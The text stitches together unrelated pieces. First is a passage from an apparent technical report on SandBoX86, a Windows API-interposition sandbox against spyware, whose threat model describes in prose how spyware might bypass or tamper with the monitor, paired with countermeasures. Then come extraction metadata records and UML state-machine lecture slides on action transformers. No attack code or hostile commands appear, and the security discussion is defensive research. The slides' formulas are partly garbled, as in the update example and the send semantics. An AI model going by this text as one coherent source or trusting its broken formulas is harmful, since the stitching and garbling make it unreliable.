Recall that $\text{depends}(v : \tau, v' : \tau')$ returns 1 if $v$ is dependent on $v'$ and returns 0 otherwise. First, we define an operator called $\text{flatten}(v : \tau)$ which returns a list of values of primitive and pointer types contained within $v$. Intuitively, the $\text{flatten}(\ldots)$ operator recursively flattens all records to create a list of all values with primitive and pointer types occurring in it. We do not consider union types because the actual type of a value is known at runtime. Similarly, array bounds are also known at runtime.
- If $\tau$ is a primitive or pointer type, then $\text{flatten}(v : \tau)$ returns $(v : \tau)$.
- If $\tau$ is of type $\text{record}(v_1 : \tau_1, \ldots, v_k : \tau_k)$, then $\text{flatten}(v : \tau)$ is the concatenation of the lists $l_1, \ldots, l_k$ where $l_i = \text{flatten}(v_i ; \tau_i)$.
- If $\tau$ is of type $\text{array}[n] \tau_1$, then $\text{flatten}(v : \tau)$ is the enumeration $\text{flatten}(v[1]), \ldots, \text{flatten}(v[n])$ of the array.
Suppose we are given two lists $l = (v_1 : \tau_1, \ldots, v_m : \tau_m)$ and $l' = (v'_1 : \tau'_1, \ldots, v'_n : \tau'_n)$ of values of primitive and pointer types contained within $v$. We say that the intersection of $l$ and $l'$ is non-empty if there exists two values $v_i : \tau_i$ and $v_j : \tau_j$ in $l$ and $l'$ respectively such that $v_i = v_j$ and one of the following two conditions is true:
- $\tau_i$ and $\tau_j$ are pointer types.
- $\tau_i = \tau_j$ and $\tau_i$ is a primitive type with equality.
The predicate $\text{depends}(v : \tau, v' : \tau')$ is defined to be 1 if the following condition is true (in all other cases it is defined to be 0):
Type $\tau'$ of $v'$ is a pointer (or of type $\text{ref } \tau_1$) and the intersection of the two lists $\text{flatten}(v : \tau)$ and $\text{flatten}(\text{deref}(v') : \tau_1)$ is non empty.
B Implementation Details
B.1 SandBoX86
Implementation of ESL/EDL compilers. The implementation of the compilers is about 2700 lines of Java. The EDL compiler transforms type declarations into intermediate type-description objects, and event declarations into event declaration objects. From these intermediate data structures, appropriate C headers and C logging functions are generated. The ESL compiler first invokes the EDL compiler to parse the referred-to EDL. Subsequently, the ESL compiler processes the variable and event policy definitions into its own intermediate data structures. Where appropriate, these are type-checked against the corresponding EDL types. After the structures are built, the ESL output phase coalesces all match statements for a given event into a single C policy function that tests the event preconditions in order and returns the matching event policy. The collection of these C functions is the output of the EDL compiler, which is then compiled into the policy-enforcer DLL.
Implementation of the Monitor. Recall that the monitor consists of the event-interceptor and policy-enforcer DLL. The event-interceptor DLL consists of wrappers for Win32 API compatible functions. The event-interceptor DLL is inserted into the application’s execution search path where it overrides the system DLL of the same name. Calls to API functions in the DLL are therefore trapped by the event-interceptor DLL, which passes the corresponding abstract event to the monitor. The monitor logs the event and determines the appropriate action by using the policy-enforcer DLL. There are about 3000 lines of C code that make up the monitor, of which about 1000 lines are generated by the EDL compiler.
B.2 Dynamic Slicing Tool
While monitoring a program, execution traces are created using logging functions, which are auto-generated by the EDL compiler. These logging functions are directly generated from the EDL, which are constructed to model the operating system events which are being monitored. The logging functions (generated by the EDL compiler) record events with the corresponding parameters. Stack walking techniques are also used to log the additional program state, such as the instruction pointer. When the program executes with the monitor in place but without a security policy, the execution trace will be logged to a file. This file is then processed by our dynamic-slicing tool. Our dynamic-slicing tool has a GUI-frontend which can be used to pose slicing queries. Our dynamic-slicing tool is about 9000 lines of Java code.
We have also implemented a GUI frontend to our dynamic slicer. The GUI allows a security analyst to specify queries, perform forward and backward slices, and browse the slices.
C Threat Model
C.1 DLL bypassing
A hostile application could try to thwart the interposed monitor DLL by not making calls through the standard Win32 API. For example, by statically linking the DLLs or making direct kernel calls.
Analysis: Although this may work in the short term, an application that does this is not likely to be very portable across different releases, or even service-pack levels of Windows. The expense of developing and
maintaining these solutions is high, so we do not consider this to be a widespread attack, however, the possibility remains.
**Countermeasures:** There are two approaches to address this attack. The first solution is to monitor events at the the kernel level. However, this is equally as difficult for the anti-spyware authors because the Windows kernel API is low-level, poorly documented, and subject to change. In short, it is not a level of abstraction that lends itself to interposition. A more practical solution is to install a simple kernel monitor that detects attempts to bypass the standard API and shuts them down. We have implemented such a kernel monitor.
Our implementation of the kernel monitor is based on the *strace* program for Windows [40]. The interposed DLL communicates with the kernel monitor using a “special” native Win32 API call. The requirements for this special call are as follows: should be rarely used, should accept multiple arguments, and should not have harmful side effects if the kernel monitor is not loaded. We chose the `NtPrivilegedServiceAuditAlarm` call, which satisfies all the requirements mentioned above. This call takes 5 parameters. When the DLL uses this call to communicate with the monitor, 4 parameters are set to specific random values. This allows the kernel monitor to recognize that the call is intended for itself, and not for the Windows kernel. In addition, the random values provide a level of protection from attempts to bypass this mechanism. The random values are generated on each system on which the monitor is installed on, and a malicious program would have to perform on-the-fly reverse engineering of the DLL to discover the random values. The fifth parameter is used as a flag which enables or disable events.
When a Win32 call is intercepted by the interposed DLL, it first issues the `NtPrivilegedServiceAuditAlarm` with enable flag, which indicates to the kernel monitor to enable system calls. Then the actual Win32 call is processed. Finally, before returning control to the application, the `NtPrivilegedServiceAuditAlarm` with enable flag is issued, which indicates to the kernel monitor to disable system calls.
### C.2 Direct attack on the monitor
This attack can take two forms: modifying the monitor on disk or in memory with the goal of bypassing the security policy.
Figure 10: Trace Analyzer GUI. The left panel shows the trace files being analyzed. The top-right panel allows user to analyze the trace and results are shown in the tabular format at the bottom-right panel.
Analysis: We believe that if a significant number of users deploy a sandboxing technology such as sand-BoX86 to thwart spyware, the above-mentioned attack will be the most likely technique used by the spyware developers. There is relatively little expense or downside to implementing this attack.
Countermeasures: The on-disk attack can be thwarted simply by applying sensible and routine file security at the operating-system level. The untrusted application should not be run at a security level that allows it to write to arbitrary files and directories. This works well if, for example, sandBoX86 is installed by a system administrator. If for some reason, the monitor and application run at the same security level (for example, if they are both installed by an untrusted user of the system), the ESL policy can be written to include self-protection measures against this attack. The in-memory attack can be thwarted by using CPU features to write protect the memory region where the monitor is loaded, and then disallowing the application to make operating system calls that would undo the protection. The binary code for the monitor can also be obfuscated to make reverse engineering hard.
C.3 Mimicry attack
The idea behind this attack is to analyze the specific ESL policies in use, and transform the attack such that it is allowed by the security policy. Such attacks on host-based intrusion detection systems, called mimicry attacks, are discussed by Wagner and Soto [55].
Analysis: As anti-spyware software becomes more sophisticated, the spyware developers will take more and more steps to disguise their actions. This is a common problem in security. Unlike the previous attacks which try to thwart the monitor at a systems level, and thereby have systems level solutions, this attack works within the security policy. In theory, a "perfect" security policy would allow every desired behavior and disallow every undesired behavior.
Countermeasures: The best solution to this is to provide tools to allow the "good guys" to stay ahead in this arms race. Modeling tools that allow "what-if" scenarios to be evaluated in the context of a proposed security policy are helpful to examine the consequences of different behavior patterns the application might try. The slicing and analysis infrastructure is an invaluable tool for determining what behaviors need to be addressed in a given version of an application, of course, this analysis needs to be kept current when new software is deployed.
|
{"Source-Url": "http://pages.cs.wisc.edu/~hbwang/spyware/sandbox86-TR.pdf", "len_cl100k_base": 14854, "olmocr-version": "0.1.53", "pdf-total-pages": 23, "total-fallback-pages": 0, "total-input-tokens": 65704, "total-output-tokens": 18838, "length": "2e13", "weborganizer": {"__label__adult": 0.0004091262817382813, "__label__art_design": 0.00040602684020996094, "__label__crime_law": 0.00201416015625, "__label__education_jobs": 0.000988006591796875, "__label__entertainment": 0.0001131892204284668, "__label__fashion_beauty": 0.00017189979553222656, "__label__finance_business": 0.0002455711364746094, "__label__food_dining": 0.0003192424774169922, "__label__games": 0.0014476776123046875, "__label__hardware": 0.0015230178833007812, "__label__health": 0.00046324729919433594, "__label__history": 0.00027871131896972656, "__label__home_hobbies": 0.0001208782196044922, "__label__industrial": 0.0004010200500488281, "__label__literature": 0.0003452301025390625, "__label__politics": 0.0003769397735595703, "__label__religion": 0.00037169456481933594, "__label__science_tech": 0.054595947265625, "__label__social_life": 0.00011044740676879884, "__label__software": 0.03240966796875, "__label__software_dev": 0.90234375, "__label__sports_fitness": 0.00020194053649902344, "__label__transportation": 0.0003571510314941406, "__label__travel": 0.00015604496002197266}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 72605, 0.04974]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 72605, 0.40789]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 72605, 0.88393]], "google_gemma-3-12b-it_contains_pii": [[0, 2151, false], [2151, 6368, null], [6368, 10160, null], [10160, 12696, null], [12696, 15743, null], [15743, 18465, null], [18465, 22633, null], [22633, 25712, null], [25712, 30355, null], [30355, 33061, null], [33061, 36851, null], [36851, 40307, null], [40307, 43871, null], [43871, 48386, null], [48386, 50108, null], [50108, 52891, null], [52891, 55633, null], [55633, 58144, null], [58144, 60885, null], [60885, 64339, null], [64339, 67527, null], [67527, 70096, null], [70096, 72605, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2151, true], [2151, 6368, null], [6368, 10160, null], [10160, 12696, null], [12696, 15743, null], [15743, 18465, null], [18465, 22633, null], [22633, 25712, null], [25712, 30355, null], [30355, 33061, null], [33061, 36851, null], [36851, 40307, null], [40307, 43871, null], [43871, 48386, null], [48386, 50108, null], [50108, 52891, null], [52891, 55633, null], [55633, 58144, null], [58144, 60885, null], [60885, 64339, null], [64339, 67527, null], [67527, 70096, null], [70096, 72605, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 72605, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 72605, null]], "pdf_page_numbers": [[0, 2151, 1], [2151, 6368, 2], [6368, 10160, 3], [10160, 12696, 4], [12696, 15743, 5], [15743, 18465, 6], [18465, 22633, 7], [22633, 25712, 8], [25712, 30355, 9], [30355, 33061, 10], [33061, 36851, 11], [36851, 40307, 12], [40307, 43871, 13], [43871, 48386, 14], [48386, 50108, 15], [50108, 52891, 16], [52891, 55633, 17], [55633, 58144, 18], [58144, 60885, 19], [60885, 64339, 20], [64339, 67527, 21], [67527, 70096, 22], [70096, 72605, 23]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 72605, 0.11726]]}
|
olmocr_science_pdfs
|
2024-12-04
|
2024-12-04
|
373c32a264baf71b11be91beaf626d55a965e742
|
[REMOVED]
|
{"Source-Url": "http://homepage.divms.uiowa.edu/~astump/papers/tfp-2016b.pdf", "len_cl100k_base": 12719, "olmocr-version": "0.1.50", "pdf-total-pages": 19, "total-fallback-pages": 0, "total-input-tokens": 55061, "total-output-tokens": 15374, "length": "2e13", "weborganizer": {"__label__adult": 0.00039505958557128906, "__label__art_design": 0.0004267692565917969, "__label__crime_law": 0.0003848075866699219, "__label__education_jobs": 0.0009312629699707032, "__label__entertainment": 9.053945541381836e-05, "__label__fashion_beauty": 0.00017881393432617188, "__label__finance_business": 0.00022518634796142575, "__label__food_dining": 0.000499725341796875, "__label__games": 0.0005578994750976562, "__label__hardware": 0.0008802413940429688, "__label__health": 0.0007181167602539062, "__label__history": 0.00032591819763183594, "__label__home_hobbies": 0.00011521577835083008, "__label__industrial": 0.0006165504455566406, "__label__literature": 0.0004167556762695313, "__label__politics": 0.00035643577575683594, "__label__religion": 0.0007739067077636719, "__label__science_tech": 0.05767822265625, "__label__social_life": 0.00012969970703125, "__label__software": 0.0057220458984375, "__label__software_dev": 0.92724609375, "__label__sports_fitness": 0.0003476142883300781, "__label__transportation": 0.0006856918334960938, "__label__travel": 0.00022125244140625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 51537, 0.0072]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 51537, 0.4528]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 51537, 0.8209]], "google_gemma-3-12b-it_contains_pii": [[0, 2528, false], [2528, 5632, null], [5632, 8500, null], [8500, 11732, null], [11732, 14830, null], [14830, 18354, null], [18354, 20725, null], [20725, 23606, null], [23606, 27136, null], [27136, 29671, null], [29671, 32300, null], [32300, 34288, null], [34288, 36555, null], [36555, 39064, null], [39064, 41273, null], [41273, 43586, null], [43586, 46382, null], [46382, 49451, null], [49451, 51537, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2528, true], [2528, 5632, null], [5632, 8500, null], [8500, 11732, null], [11732, 14830, null], [14830, 18354, null], [18354, 20725, null], [20725, 23606, null], [23606, 27136, null], [27136, 29671, null], [29671, 32300, null], [32300, 34288, null], [34288, 36555, null], [36555, 39064, null], [39064, 41273, null], [41273, 43586, null], [43586, 46382, null], [46382, 49451, null], [49451, 51537, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 51537, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 51537, null]], "pdf_page_numbers": [[0, 2528, 1], [2528, 5632, 2], [5632, 8500, 3], [8500, 11732, 4], [11732, 14830, 5], [14830, 18354, 6], [18354, 20725, 7], [20725, 23606, 8], [23606, 27136, 9], [27136, 29671, 10], [29671, 32300, 11], [32300, 34288, 12], [34288, 36555, 13], [36555, 39064, 14], [39064, 41273, 15], [41273, 43586, 16], [43586, 46382, 17], [46382, 49451, 18], [49451, 51537, 19]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 51537, 0.01982]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
eb3d4f8154ab66e52dee64b46a9b99c28354d89a
|
Software Design, Modelling and Analysis in UML
Lecture 12: Core State Machines III
2011-12-21
Prof. Dr. Andreas Podelski, Dr. Bernd Westphal
Albert-Ludwigs-Universität Freiburg, Germany
Contents & Goals
Last Lecture:
- The basic causality model
- Ether, System Configuration, Event, Transformer
This Lecture:
- Educational Objectives: Capabilities for following tasks/questions.
- What does this State Machine mean? What happens if I inject this event?
- Can you please model the following behaviour.
- What is: Signal, Event, Ether, Transformer, Step, RTC.
- Content:
- Examples for transformer
- Run-to-completion Step
- Putting It All Together
System Configuration, Ether, Transformer
Roadmap: Chronologically
(i) What do we (have to) cover? UML State Machine Diagrams Syntax.
(ii) Def.: Signature with signals.
(iii) Def.: Core state machine.
(iv) Map UML State Machine Diagrams to core state machines.
Semantics:
The Basic Causality Model
(v) Def.: Ether (aka. event pool)
(vi) Def.: System configuration.
(vii) Def.: Event.
(viii) Def.: Transformer.
(ix) Def.: Transition system, computation.
(x) Transition relation induced by core state machine.
(xi) Def.: step, run-to-completion step.
(xii) Later: Hierarchical state machines.
Transformer
Definition.
Let $\Sigma$ the set of system configurations over some $\mathcal{I}_0$, $\mathcal{D}_0$ and $\mathcal{E}$ and ether. We call a relation
$$t \subseteq \mathcal{D}(\mathcal{C}) \times (\Sigma \times \mathcal{E}) \times (\Sigma \times \mathcal{E})$$
a (system configuration) transformer.
- In the following, we assume that each application of a transformer $t$ to some system configuration $(\sigma, \varepsilon)$ for object $ux$ is associated with a set of observations
$$\text{Obs}_t[ux](\sigma, \varepsilon) \in 2^{\mathcal{D}(\mathcal{C}) \times \mathcal{E}\cup\{*,+\} \times \mathcal{D} \times \mathcal{D}(\mathcal{C}) \times \mathcal{D}(\mathcal{C})}.$$
- An observation $(u_{src}, (E, \vec{d}), u_{dst}) \in \text{Obs}_t[u_x](\sigma, \varepsilon)$ represents the information that, as a “side effect” of $ux$ executing $t$, an event $(E, \vec{d})$ has been sent from object $u_{src}$ to object $u_{dst}$.
Special cases: creation/destruction.
Why Transformers?
- **Recall** the (simplified) syntax of transition annotations:
\[ \text{annot} ::= \langle \text{event} \rangle \ [ \ ']' \langle \text{guard} \rangle \ ']' \ [ \ '/' \langle \text{action} \rangle] \ ] \]
- **Clear**: \( \langle \text{event} \rangle \) is from \( \mathcal{E} \) of the corresponding signature.
- **But**: What are \( \langle \text{guard} \rangle \) and \( \langle \text{action} \rangle \)?
- UML can be viewed as being parameterized in **expression language** (providing \( \langle \text{guard} \rangle \)) and **action language** (providing \( \langle \text{action} \rangle \)).
- **Examples**:
- **Expression Language**:
- OCL
- Java, C++, ... expressions
- ...
- **Action Language**:
- UML Action Semantics, “Executable UML”
- Java, C++, ... statements (plus some event send action)
- ...
Transformers as Abstract Actions!
In the following, we assume that we’re given
- an expression language $Expr$ for guards, and
- an action language $Act$ for actions,
and that we’re given
- a semantics for boolean expressions in form of a partial function
$$I[\cdot](\cdot, \cdot) : Expr \rightarrow ((\Sigma F \times (\{\text{ref}\} \rightarrow D(C))) \rightarrow \mathbb{B})$$
which evaluates expressions in a given system configuration,
Assuming $I$ to be partial is a way to treat “undefined” during runtime. If $I$ is not defined (for instance because of dangling-reference navigation or division-by-zero), we want to go to a designated “error” system configuration.
- a transformer for each action: For each $act \in Act$, we assume to have
$$t_{act} \subseteq D(C) \times (\Sigma F \times Eth) \times (\Sigma F \times Eth).$$
Expression/Action Language Examples
We can make the assumptions from the previous slide because **instances exist**:
- for OCL, we have the OCL semantics from Lecture 03. Simply remove the pre-images which map to “⊥”.
- for Java, the operational semantics of the SWT lecture uniquely defines transformers for sequences of Java statements.
We distinguish the following kinds of transformers:
- **skip**: do nothing — recall: this is the default action
- **send**: modifies $\varepsilon$ — interesting, because state machines are built around sending/consuming events
- **create/destroy**: modify domain of $\sigma$ — not specific to state machines, but let’s discuss them here as we’re at it
- **update**: modify own or other objects’ local state — boring
In the following we discuss
$$\text{Act}_p := \{ \text{skip} \}
\cup \{ \text{update}(\text{expr}_1, v, \text{expr}_2) \mid \text{expr}_1, \text{expr}_2 \in \text{OCLE}\text{Expr}\}
\cup \{ \text{send}(\text{expr}_1, E, \text{expr}_2) \mid \text{expr}_1, \text{expr}_2 \in \text{OCLE}\text{Expr}, E \in E_{(p)}\}
\cup \{ \text{create}(C, \text{expr}, v) \mid \text{expr} \in \text{OCLE}\text{Expr}. C \in C, v \in V\}
\cup \{ \text{destroy}(\text{expr}) \mid \text{expr} \in \text{OCLE}\text{Expr}\}$$
<table>
<thead>
<tr>
<th>abstract syntax</th>
<th>concrete syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td>op</td>
<td></td>
</tr>
<tr>
<td>intuitive semantics</td>
<td>...</td>
</tr>
<tr>
<td>well-typedness</td>
<td>...</td>
</tr>
<tr>
<td>semantics</td>
<td>[(\sigma, \varepsilon), (\sigma', \varepsilon') \in t_{op}[u_x] ] iff ...</td>
</tr>
<tr>
<td></td>
<td>or [t_{op}[u_x](\sigma, \varepsilon) = ((\sigma', \varepsilon'))] where ...</td>
</tr>
</tbody>
</table>
| observables | \[
Obs_{op}[u_x](\sigma, \varepsilon) = \{\ldots\}, \text{ not a relation, depends on choice}
\] |
| (error) conditions | Not defined if ... |
# Transformer: Skip
<table>
<thead>
<tr>
<th>abstract syntax</th>
<th>concrete syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td>skip</td>
<td>\texttt{skip}</td>
</tr>
</tbody>
</table>
## Intuitive semantics
\textit{do nothing}
## Well-typedness
\.\/.\.
## Semantics
\[
t[u_x](\sigma, \varepsilon) = \{(\sigma, \varepsilon)\}
\]
## Observables
\[
\text{Obs}_{\text{skip}}[u_x](\sigma, \varepsilon) = \emptyset
\]
## (Error) conditions
### Transformer: Update
**abstract syntax**
| update\( (expr_1, v, expr_2) \) |
**concrete syntax**
\( expr_1, v := expr_2 \)
**intuitive semantics**
Update attribute \( v \) in the object denoted by \( expr_1 \) to the value denoted by \( expr_2 \).
**well-typedness**
\( expr_1 : \tau_C \) and \( v : \tau \in atr(C) \); \( expr_2 : \tau \);
\( expr_1, expr_2 \) obey visibility and navigability
**semantics**
\[
t_{update}(expr_1, v, expr_2)[u_x](\sigma, \varepsilon) = \{\sigma', \varepsilon\}
\]
where \( \sigma' = \sigma[u \mapsto \sigma(u)[v \mapsto I[expr_2]](\sigma, \beta)] \) with
\[
u = I[expr_1](\sigma, \beta), \quad \beta = \{\text{this} \mapsto u_x\}.
\]
**observables**
\[
Obs_{update}(expr_1, v, expr_2)[u_x] = \emptyset
\]
**error conditions**
Not defined if \( I[expr_1](\sigma, \beta) \) or \( I[expr_2](\sigma, \beta) \) not defined.
**Update Transformer Example**
**SM_C:**
\[ s_1 \xrightarrow{\{x := x + 1\}} s_2 \]
\[
\text{update}(\text{expr}_1, v, \text{expr}_2) \\
\quad t_{\text{update}}(\text{expr}_1, v, \text{expr}_2)[u_x](\sigma, \varepsilon) = (\sigma[u \mapsto \sigma(u)]v \mapsto I[\text{expr}_2](\sigma, \beta)], \varepsilon), \\
\quad u = I[\text{expr}_1](\sigma, \beta)
\]
<table>
<thead>
<tr>
<th>(\sigma:)</th>
<th>(u_1 : C)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>(x = 4)</td>
</tr>
<tr>
<td></td>
<td>(y = 0)</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>(\varepsilon:)</th>
<th>(u_1 : C)</th>
<th>(\sigma')</th>
</tr>
</thead>
<tbody>
<tr>
<td>only (x) changes</td>
<td>(x = 5)</td>
<td></td>
</tr>
<tr>
<td>(t_{\text{update}}[u_x](\sigma, \varepsilon) = (\sigma[u \mapsto \sigma(u)]v \mapsto I[\text{expr}_2](\sigma, \beta)], \varepsilon))</td>
<td>(u_1 : C)</td>
<td></td>
</tr>
<tr>
<td>(\varepsilon')</td>
<td>(\sigma')</td>
<td></td>
</tr>
</tbody>
</table>
\[ I[I[\text{self} + 1D(\sigma, \varepsilon)](u_x)] = 5 \]
Transformer: Send
**Abstract Syntax**
\[
\text{send}(E(expr_1, \ldots, expr_n), expr_{dst})
\]
**Concrete Syntax**
\[
expr_{dst} \odot E(\ldots)
\]
**Intuitive Semantics**
Object \( u_x : C \) sends event \( E \) to object \( expr_{dst} \), i.e. create a fresh signal instance, fill in its attributes, and place it in the ether.
**Well-Typedness**
\( expr_{dst} : \tau_D, \; C, D \in \mathcal{C}, \; E \in \mathcal{E}, \; \text{atr}(E) = \{v_1 : \tau_1, \ldots, v_n : \tau_n\}; \)
\( expr_i : \tau_i, \; 1 \leq i \leq n; \)
all expressions obey visibility and navigability in \( C \)
**Semantics**
\[
t_{\text{send}}(E(expr_1, \ldots, expr_n), expr_{dst})[u_x](\sigma, \varepsilon) \triangleright (\sigma', \varepsilon')
\]
where \( \sigma' = \sigma \cup \{u \mapsto \{d_i | 1 \leq i \leq n\}\}; \; \varepsilon' = \varepsilon \oplus (u_{dst}, u); \)
if \( u_{dst} = I[expr_{dst}](\sigma, \beta) \in \text{dom}(\sigma); \; d_i = I[expr_i](\sigma, \beta) \) for \( 1 \leq i \leq n; \)
\( u \in \mathcal{D}(E) \) a fresh identity, i.e. \( u \not\in \text{dom}(\sigma), \)
and where \( (\sigma', \varepsilon') = (\sigma, \varepsilon) \) if \( u_{dst} \not\in \text{dom}(\sigma); \; \beta = \{v_x \mapsto u_x\} \)
**Observables**
\[
\text{Obs}_{\text{send}}[u_x] = \{(u_x, (E, d_1, \ldots, d_n), u_{dst})\}
\]
**Error Conditions**
\[
I[expr](\sigma, \beta) \text{ not defined for any } expr \in \{expr_{dst}, expr_1, \ldots, expr_n\}
\]
Send Transformer Example
$SM_C$:
\[ s_1 \xrightarrow{\text{\ldots, } n} ! F(x + 1); \ldots \xrightarrow{} s_2 \]
\[
\text{send}(E(expr_1, \ldots, expr_n), expr_{dst})
\]
\[
t_{\text{send}}(expr_{src}, E(expr_1, \ldots, expr_n), expr_{dst})[u_x](\sigma, \varepsilon) = \ldots
\]
### Transformer: Create
<table>
<thead>
<tr>
<th>Abstract Syntax</th>
<th>Concrete Syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>create(C, expr, v)</code></td>
<td><code>expr.v := new (C)</code></td>
</tr>
</tbody>
</table>
#### Intuitive Semantics
Create an object of class $C$ and assign it to attribute $v$ of the object denoted by expression $expr$.
#### Well-Typedness
$expr : \tau_D$, $v \in \text{atr}(D)$, \( \text{atr}(C) = \{ (v_i : \tau_i, expr_i) \mid 1 \leq i \leq n \} \)
#### Semantics
\[ \ldots \]
#### Observables
\[ \ldots \]
#### (Error) Conditions
$I[expr](\sigma, \beta)$ not defined.
- We use an “and assign”-action for simplicity — it doesn’t add or remove expressive power, but moving creation to the expression language raises all kinds of other problems such as order of evaluation (and thus creation).
- Also for simplicity: no parameters to construction ($\sim$ parameters of constructor). Adding them is straightforward (but somewhat tedious).
Create Transformer Example
$SM_C:\$
\[ s_1 \rightarrow / \ldots; n := \text{new } C; \ldots \rightarrow s_2 \]
\[
\text{create}(C, expr, v)\\
\]
\[
t_{\text{create}(C, expr, v)}(\sigma, \varepsilon) = \ldots
\]
\[
\sigma: \quad \begin{array}{c}
d : D \\
n = \emptyset
\end{array}
\]
\[
\varepsilon:
\]
\[
\sigma':
\]
\[
\varepsilon':
\]
How To Choose New Identities?
- **Re-use**: choose any identity that is not alive now, i.e. not in $\text{dom}(\sigma)$.
- Doesn’t depend on history.
- May “undangle” dangling references – may happen on some platforms.
- **Fresh**: choose any identity that has not been alive ever, i.e. not in $\text{dom}(\sigma)$ and any predecessor in current run.
- Depends on history.
- Dangling references remain dangling – could mask “dirty” effects of platform.
### Transformer: Create
**abstract syntax**
\[ \text{create}(C, \text{expr}, v) \]
**intuitive semantics**
Create an object of class \(C\) and assign it to attribute \(v\) of the object denoted by expression \(\text{expr}\).
**well-typedness**
\[ \text{expr} : \tau_D, \; v \in \text{atr}(D), \; \text{atr}(C) = \{ \langle v_1 : \tau_1, \text{expr}^0_i \rangle \mid 1 \leq i \leq n \} \]
**semantics**
\[
((\sigma, \varepsilon), (\sigma', \varepsilon')) \in t
\]
iff \(\sigma' = \sigma[u_0 \mapsto \sigma(u_0)[v \mapsto u]] \cup \{ u \mapsto \{ v_i \mapsto d_i \mid 1 \leq i \leq n \} \},\)
\(\varepsilon' = \{ u \} (\varepsilon); \; u \in \mathcal{D}(C)\) fresh, i.e. \(u \notin \text{dom}(\sigma)\);
\(u_0 = I[\text{expr}] (\sigma, \beta); \; d_i = I[\text{expr}^0_i] (\sigma, \beta)\) if \(\text{expr}^0_i \neq ""\) and arbitrary value from \(\mathcal{D}(\tau_i)\) otherwise; \(\beta = \{ \text{this} \mapsto u_x \} \).
**observables**
\[
\text{Obs}_{\text{create}}[u_x] = \{ (u_x, (\ast, \emptyset), u) \}
\]
**(error) conditions**
\(I[\text{expr}] (\sigma)\) not defined.
### Transformer: Destroy
<table>
<thead>
<tr>
<th>abstract syntax</th>
<th>concrete syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>destroy(expr)</code></td>
<td></td>
</tr>
</tbody>
</table>
### Intuitive Semantics
*Destroy the object denoted by expression* `expr`.
### Well-Typedness
`expr : \tau_C, C \in \mathcal{C}`
### Semantics
...
### Observables
\[
\text{Obs}_{\text{destroy}}[u_x] = \{(u_x, (+, \emptyset), u)\}
\]
### (Error) Conditions
\[
I[expr](\sigma, \beta) \text{ not defined.}
\]
\( SM_C: \)
\[ s_1 \xrightarrow{\ldots; \text{delete } n; \ldots} s_2 \]
\[
destroy(expr)
\]
\[
t_{\text{destroy}(expr)}[u_x](\sigma, \varepsilon) = \ldots
\]
What to Do With the Remaining Objects?
Assume object $u_0$ is destroyed...
- object $u_1$ may still refer to it via association $r$:
- allow dangling references?
- or remove $u_0$ from $\sigma(u_1)(r)$?
- object $u_0$ may have been the last one linking to object $u_2$:
- leave $u_2$ alone?
- or remove $u_2$ also?
- Plus: (temporal extensions of) OCL may have dangling references.
Our choice: Dangling references and no garbage collection!
This is in line with “expect the worst”, because there are target platforms which don’t provide garbage collection — and models shall (in general) be correct without assumptions on target platform.
But: the more “dirty” effects we see in the model, the more expensive it often is to analyse. Valid proposal for simple analysis: monotone frame semantics, no destruction at all.
**Transformer: Destroy**
<table>
<thead>
<tr>
<th>abstract syntax</th>
<th>concrete syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>destroy(expr)</code></td>
<td></td>
</tr>
</tbody>
</table>
**intuitive semantics**
*Destroy the object denoted by expression* `expr`.
**well-typedness**
`expr : τ_C, C ∈ C`
**semantics**
\[ t[u_x](σ, ε) = (σ', ε) \]
